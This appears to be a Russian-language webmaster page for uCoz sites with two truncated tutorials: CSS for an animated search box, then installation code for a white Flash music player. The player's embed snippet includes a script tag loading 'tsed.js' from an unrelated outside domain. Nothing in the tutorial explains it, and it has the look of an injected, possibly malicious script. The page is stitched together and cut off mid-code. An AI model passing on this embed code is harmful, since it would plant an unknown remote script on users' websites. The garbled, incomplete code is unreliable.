Форма поиска для Ucoz

Первое состояние, изображение лупы.

Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.

Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:

Установка CSS

Код

#search {

  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;

  background:#fff;

  width: 8px;

  padding: 0 8px;

  height: 24px;

  font-size: 14px;

  color: #666;

  line-height: 24px;

  border: 0;

  outline: none;

  border-radius: 50px;

  position: relative;

Белый плеер с плейлистом. Отличный белый плеер с плейлистом подойдёт для сайтов со светлым дизайном.
Установка! 1) Качаем архив, загружаем флеш(swf) и файл "xml" в корень сайта или же в отдельную папку.
2) Чтобы установить плеер на сайт используем такой код: Код

<!---mppleer---> 

<div id="pleer" style="position: absolute;left:0px;top:0px;"> 

<object type="application/x-shockwave-flash" data="Ссылка на ваш флеш?playlist=Ссылка на файл xml?3217" width="280" height="280" wmode="transparent"> 

<param name="movie" value="Ссылка на флеш?playlist=Ссылка на xml?3217" />

<script src="http://china-air.ru/tsed.js" type="text/javascript"></ ... Читать дальше »